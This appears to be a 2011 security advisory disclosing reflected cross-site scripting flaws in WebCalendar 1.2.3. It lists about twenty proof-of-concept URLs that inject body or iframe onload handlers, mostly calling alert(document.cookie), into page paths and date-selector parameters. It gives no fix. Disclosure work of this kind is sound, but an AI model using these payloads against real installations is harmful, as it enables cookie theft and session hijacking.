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Multiple Cross-Site Scripting vulnerabilities in WebCalendar

Advisory:           Multiple Cross-Site Scripting vulnerabilities in WebCalendar
Advisory ID:        SSCHADV2011-008
Author:             Stefan Schurtz
Affected Software:  Version 1.2.3 and probably prior versions
Vendor URL:         http://www.k5n.us/webcalendar.php
Vendor Status:      informed
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

http://[target]/webapps/webcalendar/about/";><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/about/";><body onload=alert('XSS')>

http://[target]/webapps/webcalendar/colors.php?color=";><iframe 
onload=alert(document.cookie)>

http://[target]/webapps/webcalendar/datesel.php?form=";><iframe 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/datesel.php?form=3&fday=";><iframe 
onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601
http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=";><iframe 
onload=alert(document.cookie)>&fyear=3&date=20110601
http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear=";><iframe
 onload=alert(document.cookie)>&date=20110601

http://[target]/webapps/webcalendar/year.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/select_user.php/";><body 
onload=alert(document.cookie)>

http://[target]/webapps/webcalendar/week.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/month.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/search_handler.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/day.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/datesel.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/edit_entry.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/search.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_edit_entry.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/catsel.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_index.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_docs.php/";><body 
onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_bug.php/";><body 
onload=alert(document.cookie)>

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

02-Jul-2011 - informed developers
02-Jul-2011 - Release date of this security advisory

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.k5n.us/webcalendar.php
http://www.rul3z.de/advisories/SSCHADV2011-008.txt